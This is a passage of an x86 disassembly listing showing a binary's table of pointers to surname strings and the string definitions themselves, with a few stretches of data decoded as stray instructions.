		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
; ---------------------------------------------------------------------------
		clc
		jmp	short loc_42E715
; ---------------------------------------------------------------------------
		align 4
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
; ---------------------------------------------------------------------------
		fsub	st(3), st
		inc	edx
		add	al, dl
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		enter	42EBh, 0
		shr	bl, 42h
		add	[eax-4FFFBD15h], bh
		jmp	short loc_42E735
; ---------------------------------------------------------------------------
		align 4
		test	al, 0EBh
		inc	edx
		add	[eax-67FFBD15h], ah
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
; ---------------------------------------------------------------------------
		push	580042EBh


loc_42E715:				; CODE XREF: ___:0042E6D1j
		jmp	short loc_42E759
; ---------------------------------------------------------------------------
		align 4
		dd offset aUsdan	; "Usdan"
; ---------------------------------------------------------------------------
		dec	eax
		jmp	short loc_42E761
; ---------------------------------------------------------------------------
		align 10h
		dd offset aVacca	; "Vacca"
		db 38h
; ---------------------------------------------------------------------------


loc_42E725:				; CODE XREF: ___:0042E6E1j
		jmp	short loc_42E769
; ---------------------------------------------------------------------------
		align 4
		xor	bl, ch
		inc	edx
		add	[ebx+ebp*8], ah
		inc	edx
		add	[ebx+ebp*8], bl
		inc	edx
		add	[eax], dl


loc_42E735:				; CODE XREF: ___:0042E6F1j
		jmp	short loc_42E779
; ---------------------------------------------------------------------------
		align 4
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		db 0F4h
; ---------------------------------------------------------------------------


loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	far ptr	42h:0EAE80042h
; ---------------------------------------------------------------------------
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
; ---------------------------------------------------------------------------
		shr	dl, 42h
		add	[eax-4FFFBD16h], bh


loc_42E759:				; CODE XREF: ___:loc_42E715j
		jmp	far ptr	42h:0EAA40042h
; ---------------------------------------------------------------------------
		cwde


loc_42E761:				; CODE XREF: ___:0042E71Dj
		jmp	far ptr	42h:0EA8C0042h
; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------


loc_42E769:				; CODE XREF: ___:loc_42E725j
		jmp	far ptr	42h:0EA740042h
; ---------------------------------------------------------------------------
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
; ---------------------------------------------------------------------------
		pop	eax


loc_42E779:				; CODE XREF: ___:loc_42E735j
		jmp	far ptr	42h:0EA500042h
; ---------------------------------------------------------------------------
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E860o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E85Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E858o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E854o
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E850o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E84Co
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E848o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E844o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E840o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E83Co
aYu		db 'Yu',0               ; DATA XREF: ___:0042E838o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E834o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E830o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E82Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E828o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E824o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E820o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E81Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042E818o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E814o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E810o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E80Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E808o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E804o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E800o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7FCo
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7F8o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7F4o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7F0o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7ECo
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7E8o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7E4o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7E0o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7D8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7D4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7D0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7CCo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7C8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E7C4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E7C0o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E7BCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E7B8o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E7B4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E7B0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E7ACo
aViano		db 'Viano',0            ; DATA XREF: ___:0042E7A8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042E7A4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E7A0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E79Co
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E798o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E794o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E790o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E78Co
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E788o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E784o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E780o
		align 10h
aWengret	db 'Wengret',0
aWelsh		db 'Welsh',0
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E774o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042E770o
		align 4
aWeissman	db 'Weissman',0
		align 10h
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 4
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 10h
aWaugh		db 'Waugh',0
		align 4
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042E74Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042E748o
		align 4
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042E73Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042E738o
		align 10h
aWallenberg	db 'Wallenberg',0
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 10h
aValberg	db 'Valberg',0
aWaite		db 'Waite',0
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042E720o
		align 4
aUzuner		db 'Uzuner',0
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042E718o
		align 4
aUrdangBrown	db 'Urdang-Brown',0
		align 4
aUrban		db 'Urban',0
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042E70Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042E708o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042E704o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042E700o
		align 4
aTwells		db 'Twells',0
		align 10h
aTuttle		db 'Tuttle',0
		align 4
aTurek		db 'Turek',0
		align 10h
aTurano		db 'Turano',0
		align 4
aTukan		db 'Tukan',0
		align 10h
aTudge		db 'Tudge',0
		align 4
aTuck		db 'Tuck',0
		align 10h
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042E6D8o
aTruss		db 'Truss',0            ; DATA XREF: ___:0042E6D4o
		align 4
aTroy		db 'Troy',0
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042E6CCo
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6C8o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E6C4o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E6C0o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042E6BCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: ___:0042E6B8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E6B0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E6ACo
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E6A8o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E6A4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E6A0o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E69Co
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E698o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E694o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E690o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E68Co
aTill		db 'Till',0             ; DATA XREF: ___:0042E688o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E684o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E680o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E67Co
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E678o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E674o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E670o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E66Co
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E668o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E664o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E660o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E65Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E658o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E654o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E650o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E64Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E648o
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E644o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E640o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E63Co
